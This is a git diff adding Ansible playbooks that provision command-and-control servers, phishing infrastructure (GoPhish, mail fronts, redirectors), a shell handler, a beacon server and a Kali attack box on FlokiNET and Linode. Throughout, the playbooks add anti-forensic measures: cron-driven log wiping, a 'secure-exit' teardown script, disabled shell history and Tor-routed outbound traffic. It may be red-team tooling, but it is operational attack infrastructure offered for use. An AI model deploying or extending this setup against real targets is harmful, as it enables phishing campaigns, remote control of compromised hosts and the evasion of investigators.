/etc/postfix/main.cf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" } + - { regexp: '^mydomain', line: "mydomain = {{ domain }}" } + - { regexp: '^myorigin', line: "myorigin = $mydomain" } + - { regexp: '^inet_interfaces', line: "inet_interfaces = all" } + - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" } + - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" } + - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" } + - { regexp: '^relay_domains', line: "relay_domains = $mydestination" } + - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" } + - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" } + - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" } + - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" } + - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" } + - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" } + - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" } + - { regexp: '^milter_default_action', line: "milter_default_action = accept" } + - { regexp: '^milter_protocol', line: "milter_protocol = 6" } + - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + + - name: Configure OpenDKIM + lineinfile: + path: /etc/opendkim.conf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^Domain', line: "Domain {{ domain }}" } + - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" } + - { regexp: '^Selector', line: "Selector mail" } + - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^Syslog', line: "Syslog yes" } + - { regexp: '^UMask', line: "UMask 002" } + - { regexp: '^Mode', line: "Mode sv" } + + - name: Create DKIM directory + file: + path: /etc/opendkim/keys/{{ domain }} + state: directory + owner: opendkim + group: opendkim + mode: 0700 + + - name: Generate DKIM keys + command: > + opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail + args: + creates: /etc/opendkim/keys/{{ domain }}/mail.private + + - name: Set permissions for DKIM keys + file: + path: /etc/opendkim/keys/{{ domain }}/mail.private + owner: opendkim + group: opendkim + mode: 0600 + + - name: Configure OpenDKIM TrustedHosts + copy: + content: | + 127.0.0.1 + ::1 + localhost + {{ domain }} + dest: /etc/opendkim/TrustedHosts + owner: opendkim + group: opendkim + mode: 0644 + + - name: Enable submission port (587) in master.cf + blockinfile: + path: /etc/postfix/master.cf + insertafter: '^#submission' + block: | + submission inet n - y - - smtpd + -o syslog_name=postfix/submission + -o smtpd_tls_security_level=encrypt + -o smtpd_sasl_auth_enable=yes + -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject + -o smtpd_relay_restrictions=permit_sasl_authenticated,reject + + - name: Configure Dovecot for Postfix SASL + blockinfile: + path: /etc/dovecot/conf.d/10-master.conf + insertafter: '^service auth {' + block: | + # Postfix smtp-auth + unix_listener /var/spool/postfix/private/auth { + mode = 0660 + user = postfix + group = postfix + } + + - name: Set Dovecot auth_mechanisms + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^auth_mechanisms' + line: 'auth_mechanisms = plain login' + + - name: Create Dovecot password file for SASL authentication + file: + path: /etc/dovecot/passwd + state: touch + mode: '0600' + owner: dovecot + group: dovecot + + - name: Add SMTP auth user to Dovecot + lineinfile: + path: /etc/dovecot/passwd + line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}" + + - name: Disable system auth and use passwd-file + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^!include auth-system.conf.ext' + line: '#!include auth-system.conf.ext' + + - name: Add auth-passwdfile configuration + blockinfile: + path: /etc/dovecot/conf.d/10-auth.conf + insertafter: '^auth_mechanisms =' + block: | + passdb { + driver = passwd-file + args = scheme=sha512_crypt /etc/dovecot/passwd + } + userdb { + driver = static + args = uid=vmail gid=vmail home=/var/vmail/%u + } + + - name: Create vmail user/group + group: + name: vmail + gid: 5000 + state: present + + - name: Create vmail user + user: + name: vmail + uid: 5000 + group: vmail + create_home: no + + - name: Create directories for operational scripts + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/beacons + + - name: Copy clean-logs.sh script + copy: + src: "../../common/files/clean-logs.sh" + dest: /opt/c2/clean-logs.sh + mode: '0700' + owner: root + group: root + + - name: Copy secure-exit.sh script + copy: + src: "../../common/files/secure-exit.sh" + dest: /opt/c2/secure-exit.sh + mode: '0700' + owner: root + group: root + + - name: Copy serve-beacons.sh script + copy: + src: "../../common/files/serve-beacons.sh" + dest: /opt/c2/serve-beacons.sh + mode: '0700' + owner: root + group: root + + - name: Configure serve-beacons.sh with C2 IP + replace: + path: /opt/c2/serve-beacons.sh + regexp: 'C2_HOST=.*' + replace: 'C2_HOST="{{ c2_ip }}"' + + - name: Set up cron job for log cleaning if zero-logs enabled + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + when: zero_logs | bool + + - name: Install Let's Encrypt certificate if domain specified + shell: | + certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem + when: domain != "example.com" + + - name: Restart Postfix + service: + name: postfix + state: restarted + + - name: Restart Dovecot + service: + name: dovecot + state: restarted + + - name: FlokiNET-specific security configurations + include_tasks: flokinet-security.yml + when: enable_hardened_security | default(true) + + - name: Print deployment summary + debug: + msg: + - "FlokiNET Deployment Complete!" + - "-------------------------------" + - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)" + - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)" + - "Shell Handler Port: {{ shell_handler_port }}" + - "GoPhish Admin Port: {{ gophish_admin_port }}" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/providers/FlokiNET/c2.yml b/providers/FlokiNET/c2.yml new file mode 100644 index 0000000..9b53daf --- /dev/null +++ b/providers/FlokiNET/c2.yml @@ -0,0 +1,101 @@ +--- +# FlokiNET C2-only Configuration Playbook +# Note: FlokiNET requires pre-provisioned servers + +- name: Prepare FlokiNET C2 configuration + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + c2_subdomain: "{{ c2_subdomain | default('mail') }}" + + tasks: + - name: Validate required FlokiNET configuration + assert: + that: + - c2_ip is defined and c2_ip != "" + fail_msg: "FlokiNET requires C2 IP address. Set c2_ip in vars.yaml or via --flokinet-c2-ip." + + - name: Add C2 to inventory + add_host: + name: "c2" + groups: "c2servers" + ansible_host: "{{ c2_ip }}" + ansible_user: "{{ ssh_user | default('root') }}" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_port: "{{ ssh_port | default(22) }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + + - name: Verify SSH connection to C2 + wait_for: + host: "{{ c2_ip }}" + port: "{{ ssh_port | default(22) }}" + delay: 10 + timeout: 60 + state: started + ignore_errors: true + +- name: Provision FlokiNET C2 server + hosts: c2servers + become: true + gather_facts: true + vars_files: + - vars.yaml + tasks: + - name: Wait for apt to be available + apt: + update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Set hostname + hostname: + name: "c2" + + - name: Update apt cache + apt: + update_cache: yes + + - name: Upgrade all packages + apt: + upgrade: dist + + - name: Install base security packages + apt: + name: + - apt-transport-https + - ca-certificates + - curl + - gnupg + - lsb-release + - unattended-upgrades + - ufw + - fail2ban + - secure-delete + state: present + + - name: Include common security hardening tasks + include_tasks: "../../common/tasks/security_hardening.yml" + + - name: Include common tool installation tasks + include_tasks: "../../common/tasks/install_tools.yml" + + - name: Include common C2 configuration tasks + include_tasks: "../../modules/c2/tasks/configure_c2.yml" + + - name: Include common mail server configuration tasks + include_tasks: "../../common/tasks/configure_mail.yml" + + - name: Print deployment summary + debug: + msg: + - "C2 Server Configuration Complete!" + - "-------------------------------" + - "C2 Server IP: {{ ansible_host }}" + - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)" + - "GoPhish Admin Port: {{ gophish_admin_port }}" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/providers/FlokiNET/cleanup.yml b/providers/FlokiNET/cleanup.yml new file mode 100644 index 0000000..c90916c --- /dev/null +++ b/providers/FlokiNET/cleanup.yml @@ -0,0 +1,75 @@ +--- +# FlokiNET Cleanup Playbook +# Used for documentation since FlokiNET requires manual cleanup through their interface + +- name: Document FlokiNET cleanup procedure + hosts: localhost + connection: local + gather_facts: false + vars_files: + - vars.yaml + vars: + cleanup_redirector: "{{ (redirector_ip is defined and redirector_ip != '') | ternary(true, false) }}" + cleanup_c2: "{{ (c2_ip is defined and c2_ip != '') | ternary(true, false) }}" + confirm_cleanup: false # Skip confirmation in automated teardown + + tasks: + - name: Confirm cleanup if required + pause: + prompt: "WARNING: This script provides guidance for manual FlokiNET cleanup. Type 'yes' to continue" + register: confirmation + when: confirm_cleanup + + - name: Exit if not confirmed + meta: end_play + when: confirm_cleanup and confirmation.user_input != 'yes' + + - name: Display cleanup instructions + debug: + msg: + - "FlokiNET Cleanup Instructions" + - "========================================" + - "Since FlokiNET resources must be manually terminated through their control panel," + - "this playbook provides guidance on the steps needed for cleanup." + - "" + - "Resources to clean up:" + - "{{ cleanup_redirector | ternary('- Redirector server: ' + redirector_ip, '') }}" + - "{{ cleanup_c2 | ternary('- C2 server: ' + c2_ip, '') }}" + - "" + - "Steps to terminate FlokiNET servers:" + - "1. Log in to your FlokiNET control panel" + - "2. Navigate to the Virtual Servers section" + - "3. Select each server from the list" + - "4. Click 'Terminate' and confirm termination" + - "" + - "For security, consider also:" + - "- Manually executing the secure-exit.sh script on each server before termination" + - "- Removing DNS records associated with these servers" + - "- Ensuring any SSH keys used for these servers are removed or rotated" + + - name: Remove SSH key file if it's not a shared key + file: + path: "{{ ssh_key_path | replace('.pub', '') }}" + state: absent + when: + - ssh_key_path is defined + - ssh_key_path is search('c2deploy_') + ignore_errors: true + + - name: Remove SSH public key file if it's not a shared key + file: + path: "{{ ssh_key_path }}" + state: absent + when: + - ssh_key_path is defined + - ssh_key_path is search('c2deploy_') + ignore_errors: true + + - name: Pre-termination security recommendations + debug: + msg: + - "Security Recommendations before manual termination:" + - "------------------------------------------------" + - " SSH Command: ssh -i {{ ssh_key_path | replace('.pub', '') }} {{ ssh_user | default('root') }}@SERVER_IP -p {{ ssh_port | default('22') }}" + - " Then run: /opt/c2/secure-exit.sh" + when: (cleanup_redirector or cleanup_c2) and ssh_key_path is defined \ No newline at end of file diff --git a/providers/FlokiNET/flokinet-security.yml b/providers/FlokiNET/flokinet-security.yml new file mode 100644 index 0000000..e29052b --- /dev/null +++ b/providers/FlokiNET/flokinet-security.yml @@ -0,0 +1,167 @@ +--- +# FlokiNET-specific security tasks +# Enhanced security features for FlokiNET servers + +- name: Configure FlokiNET networking for maximum anonymity + lineinfile: + path: /etc/sysctl.conf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + state: present + with_items: + - { regexp: '^net.ipv4.tcp_timestamps', line: 'net.ipv4.tcp_timestamps = 0' } + - { regexp: '^net.ipv4.tcp_syncookies', line: 'net.ipv4.tcp_syncookies = 1' } + - { regexp: '^net.ipv4.conf.all.accept_redirects', line: 'net.ipv4.conf.all.accept_redirects = 0' } + - { regexp: '^net.ipv6.conf.all.accept_redirects', line: 'net.ipv6.conf.all.accept_redirects = 0' } + - { regexp: '^net.ipv4.conf.all.send_redirects', line: 'net.ipv4.conf.all.send_redirects = 0' } + - { regexp: '^net.ipv4.conf.all.accept_source_route', line: 'net.ipv4.conf.all.accept_source_route = 0' } + - { regexp: '^net.ipv6.conf.all.accept_source_route', line: 'net.ipv6.conf.all.accept_source_route = 0' } + - { regexp: '^net.ipv4.conf.all.log_martians', line: 'net.ipv4.conf.all.log_martians = 1' } + notify: Apply sysctl settings + +- name: Install Tor for anonymous outbound connections + apt: + name: + - tor + - torsocks + - obfs4proxy + state: present + update_cache: yes + register: tor_installed + when: use_tor_proxy | default(true) + +- name: Create Tor configuration directory + file: + path: /etc/tor + state: directory + mode: '0755' + when: use_tor_proxy | default(true) and tor_installed is succeeded + +- name: Configure Tor for hardened privacy settings + template: + src: torrc.j2 + dest: /etc/tor/torrc + owner: root + group: root + mode: '0644' + notify: Restart Tor service + when: use_tor_proxy | default(true) and tor_installed is succeeded + +- name: Configure ProxyChains for routing through Tor + template: + src: proxychains.conf.j2 + dest: /etc/proxychains.conf + owner: root + group: root + mode: '0644' + when: use_tor_proxy | default(true) and tor_installed is succeeded + +- name: Install iptables-persistent for firewall persistence + apt: + name: iptables-persistent + state: present + update_cache: yes + +- name: Configure hardened iptables rules for FlokiNET + template: + src: iptables-rules.j2 + dest: /etc/iptables/rules.v4 + owner: root + group: root + mode: '0644' + notify: Apply iptables rules + +- name: Create SSH security hardening script + template: + src: secure-ssh.sh.j2 + dest: /opt/c2/secure-ssh.sh + owner: root + group: root + mode: '0700' + when: use_hardened_ssh | default(true) + +- name: Run SSH security hardening script + command: /opt/c2/secure-ssh.sh + args: + creates: /opt/c2/.ssh_hardened + when: use_hardened_ssh | default(true) + +- name: Install timezone data + apt: + name: tzdata + state: present + +- name: Set timezone to UTC + timezone: + name: UTC + +- name: Configure DNS to use secure DNS servers + template: + src: resolv.conf.j2 + dest: /etc/resolv.conf + owner: root + group: root + mode: '0644' + when: enable_dns_encryption | default(true) + +- name: Create directory for DNS cache configuration + file: + path: /etc/systemd/resolved.conf.d + state: directory + mode: '0755' + when: enable_dns_encryption | default(true) + +- name: Configure DNS caching with DNSCrypt + template: + src: dnscrypt.conf.j2 + dest: /etc/systemd/resolved.conf.d/dnscrypt.conf + owner: root + group: root + mode: '0644' + notify: Restart systemd-resolved + when: enable_dns_encryption | default(true) + +# Configure memory security if enabled +- name: Set memory security measures + lineinfile: + path: /etc/sysctl.conf + line: "{{ item }}" + state: present + with_items: + - "vm.swappiness=0" + - "kernel.randomize_va_space=2" + when: secure_memory | default(true) + notify: Apply sysctl settings + +# Configure history settings if disabled +- name: Disable system history + lineinfile: + path: "{{ item.file }}" + line: "{{ item.line }}" + state: present + create: yes + with_nested: + - [{ file: '/etc/profile' }, { file: '/root/.bashrc' }] + - [{ line: 'export HISTFILESIZE=0' }, { line: 'export HISTSIZE=0' }, { line: 'unset HISTFILE' }] + when: disable_history | default(true) + +handlers: + - name: Apply sysctl settings + command: sysctl -p + + - name: Restart Tor service + service: + name: tor + state: restarted + enabled: yes + when: use_tor_proxy | default(true) + + - name: Apply iptables rules + command: iptables-restore < /etc/iptables/rules.v4 + + - name: Restart systemd-resolved + service: + name: systemd-resolved + state: restarted + enabled: yes + when: enable_dns_encryption | default(true) \ No newline at end of file diff --git a/providers/FlokiNET/flokinet_phishing.yml b/providers/FlokiNET/flokinet_phishing.yml new file mode 100644 index 0000000..27830fe --- /dev/null +++ b/providers/FlokiNET/flokinet_phishing.yml @@ -0,0 +1,119 @@ +--- +# FlokiNET-specific phishing infrastructure tasks + +- name: Create FlokiNET instances for phishing + uri: + url: "{{ flokinet_api_endpoint }}/instances" + method: POST + headers: + Authorization: "Bearer {{ flokinet_api_token }}" + Content-Type: "application/json" + body_format: json + body: + plan: "{{ flokinet_plan | default('basic') }}" + region: "{{ flokinet_region | default('romania') }}" + os: "{{ flokinet_os | default('ubuntu-22.04') }}" + hostname: "{{ deployment_id }}-{{ item }}" + ssh_keys: + - "{{ ssh_public_key }}" + tags: + - "c2itall" + - "phishing" + - "{{ deployment_id }}" + status_code: [200, 201] + register: flokinet_instances + loop: "{{ deployment_components }}" + when: item in deployment_components + +- name: Wait for instances to be active + uri: + url: "{{ flokinet_api_endpoint }}/instances/{{ item.json.id }}" + method: GET + headers: + Authorization: "Bearer {{ flokinet_api_token }}" + register: instance_status + until: instance_status.json.status == "active" + retries: 30 + delay: 10 + loop: "{{ flokinet_instances.results }}" + when: flokinet_instances.results is defined + +- name: Get instance details + uri: + url: "{{ flokinet_api_endpoint }}/instances/{{ item.json.id }}" + method: GET + headers: + Authorization: "Bearer {{ flokinet_api_token }}" + register: instance_details + loop: "{{ flokinet_instances.results }}" + when: flokinet_instances.results is defined + +- name: Set instance facts + set_fact: + phishing_instances: >- + {% set instances = [] %} + {% for result in instance_details.results %} + {% set instance = { + 'id': result.json.id, + 'hostname': result.json.hostname, + 'ip': result.json.main_ip, + 'region': result.json.region, + 'plan': result.json.plan, + 'status': result.json.status + } %} + {% set _ = instances.append(instance) %} + {% endfor %} + {{ instances }} + when: instance_details.results is defined + +- name: Wait for SSH connectivity + wait_for: + host: "{{ item.ip }}" + port: 22 + delay: 30 + timeout: 300 + loop: "{{ phishing_instances }}" + when: phishing_instances is defined + +- name: Update instance inventory + add_host: + name: "{{ item.ip }}" + groups: "phishing_{{ item.hostname.split('-')[-1] }}" + ansible_host: "{{ item.ip }}" + ansible_user: root + ansible_ssh_private_key_file: "{{ ssh_private_key_path }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + instance_id: "{{ item.id }}" + instance_hostname: "{{ item.hostname }}" + provider: "flokinet" + loop: "{{ phishing_instances }}" + when: phishing_instances is defined + +- name: Configure Gophish servers + include_tasks: ../common/configure_gophish.yml + when: "'gophish' in deployment_components" + +- name: Configure MTA fronts + include_tasks: ../common/configure_mta.yml + when: "'mta_front' in deployment_components" + +- name: Configure redirectors + include_tasks: ../common/configure_redirector.yml + when: "'redirector' in deployment_components" + +- name: Configure web servers + include_tasks: ../common/configure_webserver.yml + when: "'webserver' in deployment_components" + +- name: Display deployment summary + debug: + msg: | + ๐ŸŽฏ FlokiNET Phishing Infrastructure Deployed + {{ phishing_instances | length }} instances created + Provider: FlokiNET + Deployment ID: {{ deployment_id }} + Instances: + {% for instance in phishing_instances %} + - {{ instance.hostname }}: {{ instance.ip }} ({{ instance.plan }}) + {% endfor %} + when: phishing_instances is defined diff --git a/providers/FlokiNET/phishing.yml b/providers/FlokiNET/phishing.yml new file mode 100644 index 0000000..3db2992 --- /dev/null +++ b/providers/FlokiNET/phishing.yml @@ -0,0 +1,65 @@ +--- +# Phishing infrastructure deployment playbook +# This is a comprehensive playbook that handles all phishing components + +- name: Deploy Phishing Infrastructure + hosts: localhost + gather_facts: true + connection: local + vars_files: + - vars.yaml + + tasks: + - name: Display deployment information + debug: + msg: | + Deploying phishing infrastructure + Deployment ID: {{ deployment_id }} + Provider: {{ provider }} + Domain: {{ domain | default(phishing_domain) }} + Components: {{ deployment_type }} + + - name: Set deployment facts + set_fact: + deployment_timestamp: "{{ ansible_date_time.epoch }}" + phishing_deployment_results: {} + deployment_components: >- + {% set components = [] %} + {% if deployment_type in ['gophish_only', 'basic_phishing', 'advanced_phishing', 'full_phishing', 'fedramp_phishing'] %} + {% set _ = components.append('gophish') %} + {% endif %} + {% if deployment_type in ['mta_front_only', 'basic_phishing', 'advanced_phishing', 'full_phishing', 'ephemeral_mta'] %} + {% set _ = components.append('mta_front') %} + {% endif %} + {% if deployment_type in ['phishing_redirector_only', 'advanced_phishing', 'full_phishing'] %} + {% set _ = components.append('redirector') %} + {% endif %} + {% if deployment_type in ['phishing_webserver_only', 'full_phishing', 'fedramp_phishing'] %} + {% set _ = components.append('webserver') %} + {% endif %} + {{ components }} + + - name: Include provider-specific tasks + include_tasks: "{{ provider }}_phishing.yml" + when: deployment_components | length > 0 + + - name: Ensure logs directory exists + file: + path: "../../logs" + state: directory + mode: '0755' + delegate_to: localhost + + - name: Save deployment information + template: + src: phishing_deployment_info.j2 + dest: "{{ playbook_dir }}/logs/phishing_deployment_{{ deployment_id }}.json" + delegate_to: localhost + + - name: Display success message + debug: + msg: | + โœ… Phishing infrastructure deployment completed + Deployment ID: {{ deployment_id }} + Components deployed: {{ deployment_components | join(', ') }} + Check logs/phishing_deployment_{{ deployment_id }}.json for details diff --git a/providers/FlokiNET/provision.yml b/providers/FlokiNET/provision.yml new file mode 100644 index 0000000..6c92a39 --- /dev/null +++ b/providers/FlokiNET/provision.yml @@ -0,0 +1,134 @@ +--- +- name: Common provisioning for FlokiNET servers + hosts: all + gather_facts: true + vars_files: + - vars.yaml + tasks: + - name: Set hostname + ansible.builtin.hostname: + name: "{{ inventory_hostname }}" + become: true + + - name: Update apt cache + ansible.builtin.apt: + update_cache: yes + become: true + + - name: Upgrade all packages + ansible.builtin.apt: + upgrade: dist + become: true + + - name: Install base security packages + ansible.builtin.apt: + name: + - apt-transport-https + - ca-certificates + - curl + - gnupg + - lsb-release + - unattended-upgrades + - ufw + - fail2ban + - secure-delete + state: present + become: true + + - name: Configure UFW + ansible.builtin.ufw: + state: enabled + policy: deny + logging: 'on' + become: true + + - name: Add SSH rule to UFW + ansible.builtin.ufw: + rule: allow + port: "{{ ssh_port }}" + proto: tcp + become: true + + - name: Configure SSH for better security + ansible.builtin.lineinfile: + path: /etc/ssh/sshd_config + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + state: present + with_items: + - { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin prohibit-password' } + - { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' } + - { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' } + - { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding no' } + - { regexp: '^#?Port', line: 'Port {{ ssh_port }}' } + - { regexp: '^#?LogLevel', line: 'LogLevel ERROR' } + - { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' } + - { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' } + become: true + + - name: Restart SSH service + ansible.builtin.service: + name: ssh + state: restarted + become: true + + - name: Setup directory for operational scripts + ansible.builtin.file: + path: /opt/c2 + state: directory + mode: '0700' + owner: root + group: root + become: true + + - name: Copy operational scripts + ansible.builtin.copy: + src: "../../common/files/{{ item }}" + dest: "/opt/c2/{{ item }}" + mode: '0700' + owner: root + group: root + with_items: + - clean-logs.sh + - secure-exit.sh + become: true + + - name: Setup cron to clean logs + ansible.builtin.cron: + name: "Log cleanup" + minute: "*/{{ log_rotation_hours * 60 }}" + job: "/opt/c2/clean-logs.sh >/dev/null 2>&1" + become: true + when: disable_history | bool + + - name: Disable system history + ansible.builtin.lineinfile: + path: "{{ item }}" + line: "{{ line_item }}" + state: present + create: yes + with_items: + - /etc/profile + - /root/.bashrc + with_nested: + - [ 'export HISTFILESIZE=0', 'export HISTSIZE=0', 'unset HISTFILE' ] + loop_control: + loop_var: line_item + become: true + when: disable_history | bool + + - name: Set memory security measures + ansible.builtin.lineinfile: + path: /etc/sysctl.conf + line: "{{ item }}" + state: present + with_items: + - "vm.swappiness=0" + - "kernel.randomize_va_space=2" + become: true + when: secure_memory | bool + + - name: Apply sysctl settings + ansible.builtin.command: sysctl -p + become: true + when: secure_memory | bool \ No newline at end of file diff --git a/providers/FlokiNET/redirector.yml b/providers/FlokiNET/redirector.yml new file mode 100644 index 0000000..302d329 --- /dev/null +++ b/providers/FlokiNET/redirector.yml @@ -0,0 +1,97 @@ +--- +# FlokiNET Redirector-only Configuration Playbook +# Note: FlokiNET requires pre-provisioned servers + +- name: Prepare FlokiNET redirector configuration + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Generate random shell handler port if not provided + shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}" + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" + + tasks: + - name: Validate required FlokiNET configuration + assert: + that: + - redirector_ip is defined and redirector_ip != "" + fail_msg: "FlokiNET requires redirector IP address. Set redirector_ip in vars.yaml or via --flokinet-redirector-ip." + + - name: Add redirector to inventory + add_host: + name: "redirector" + groups: "redirectors" + ansible_host: "{{ redirector_ip }}" + ansible_user: "{{ ssh_user | default('root') }}" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_port: "{{ ssh_port | default(22) }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + + - name: Verify SSH connection to redirector + wait_for: + host: "{{ redirector_ip }}" + port: "{{ ssh_port | default(22) }}" + delay: 10 + timeout: 60 + state: started + ignore_errors: true + +- name: Provision FlokiNET redirector + hosts: redirectors + become: true + gather_facts: true + vars_files: + - vars.yaml + tasks: + - name: Wait for apt to be available + apt: + update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Set hostname + hostname: + name: "redirector" + + - name: Update apt cache + apt: + update_cache: yes + + - name: Upgrade all packages + apt: + upgrade: dist + + - name: Install base security packages + apt: + name: + - apt-transport-https + - ca-certificates + - curl + - gnupg + - lsb-release + - unattended-upgrades + - ufw + - fail2ban + - secure-delete + state: present + + - name: Include common security hardening tasks + include_tasks: "../../common/tasks/security_hardening.yml" + + - name: Include common redirector configuration tasks + include_tasks: "../../modules/redirectors/tasks/configure_redirector.yml" + + - name: Print deployment summary + debug: + msg: + - "Redirector Configuration Complete!" + - "---------------------------------" + - "Redirector IP: {{ ansible_host }}" + - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)" + - "Shell Handler Port: {{ shell_handler_port }}" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/providers/FlokiNET/templates/phishing_deployment_info.j2 b/providers/FlokiNET/templates/phishing_deployment_info.j2 new file mode 100644 index 0000000..175d4f4 --- /dev/null +++ b/providers/FlokiNET/templates/phishing_deployment_info.j2 @@ -0,0 +1,10 @@ +{ + "deployment_id": "{{ deployment_id }}", + "deployment_type": "{{ deployment_type }}", + "provider": "{{ provider }}", + "domain": "{{ phishing_domain | default(domain) }}", + "timestamp": "{{ ansible_date_time.iso8601 }}", + "components": {{ deployment_components | to_json }}, + "results": {{ phishing_deployment_results | default({}) | to_json }}, + "status": "completed" +} diff --git a/providers/FlokiNET/webrunner_provision_tasks.yml b/providers/FlokiNET/webrunner_provision_tasks.yml new file mode 100644 index 0000000..f86f36f --- /dev/null +++ b/providers/FlokiNET/webrunner_provision_tasks.yml @@ -0,0 +1,12 @@ +--- +# FlokiNET provision tasks for WEBRUNNER nodes +# FlokiNET does not expose a public API โ€” manual provisioning required. + +- name: FlokiNET not supported for automated WEBRUNNER deployment + fail: + msg: > + FlokiNET does not provide a public provisioning API. + To use FlokiNET nodes with WEBRUNNER, provision VPS instances manually, + add their IPs to the [webrunner_nodes] inventory group, and re-run + the scan plays directly. Node chunk {{ node_chunk.node_name }} assigned + {{ node_chunk.ip_count }} IPs. diff --git a/providers/Linode/attack_box.yml b/providers/Linode/attack_box.yml new file mode 100644 index 0000000..19a3538 --- /dev/null +++ b/providers/Linode/attack_box.yml @@ -0,0 +1,251 @@ +--- +# Linode Attack Box Deployment Playbook +# Based on attk-box-setup but optimized for headless server deployment + +- name: Deploy Attack Box on Linode + hosts: localhost + connection: local + gather_facts: false + vars: + ansible_python_interpreter: "{{ ansible_playbook_python }}" + deployment_type: "attack_box" + attack_box_name: "{{ attack_box_name | default('a-' + deployment_id) }}" + attack_box_type: "{{ attack_box_type | default('kali') }}" + linode_instance_type: "{{ linode_instance_type | default('g6-standard-4') }}" + linode_region: "{{ linode_region | default('us-east') }}" + ssh_key_name: "{{ ssh_key_path | default('c2deploy_' + attack_box_name) | basename | regex_replace('\\.pub$', '') }}" + + # Attack box image mapping (headless versions) + attack_box_images: + kali: "linode/kali" + custom: "linode/kali" # Use Kali as base for custom builds + quick_recon: "linode/kali" # Kali Linux for easy tool expansion + + tasks: + - name: Debug attack box deployment + debug: + msg: "Deploying {{ attack_box_type }} attack box on Linode in {{ linode_region }}" + + - name: Set attack box image + set_fact: + attack_box_image: "{{ attack_box_images[attack_box_type] | default('linode/kali') }}" + + - name: Check if SSH key exists (should be pre-generated) + stat: + path: "~/.ssh/{{ ssh_key_name }}" + register: ssh_key_check + + - name: Generate SSH key pair for attack box (if not exists) + openssh_keypair: + path: "~/.ssh/{{ ssh_key_name }}" + type: rsa + size: 2048 + force: no + register: ssh_key_result + when: not ssh_key_check.stat.exists + + - name: Read public key content + slurp: + src: "~/.ssh/{{ ssh_key_name }}.pub" + register: public_key_content + + - name: Add SSH key to Linode + uri: + url: "https://api.linode.com/v4/profile/sshkeys" + method: POST + headers: + Authorization: "Bearer {{ linode_token }}" + Content-Type: "application/json" + body_format: json + body: + label: "{{ ssh_key_name }}" + ssh_key: "{{ public_key_content.content | b64decode | trim }}" + status_code: [200, 201] + register: linode_ssh_key + ignore_errors: yes + + - name: Generate strong root password + set_fact: + root_password: "{{ lookup('password', '/dev/null chars=ascii_letters,digits,!@#$%^&*-_=+ length=32') }}" + when: ansible_password is not defined + + - name: Set ansible_password if not defined + set_fact: + ansible_password: "{{ root_password }}" + when: ansible_password is not defined and root_password is defined + + - name: Create Linode instance for attack box + uri: + url: "https://api.linode.com/v4/linode/instances" + method: POST + headers: + Authorization: "Bearer {{ linode_token }}" + Content-Type: "application/json" + body_format: json + body: + label: "{{ attack_box_name }}" 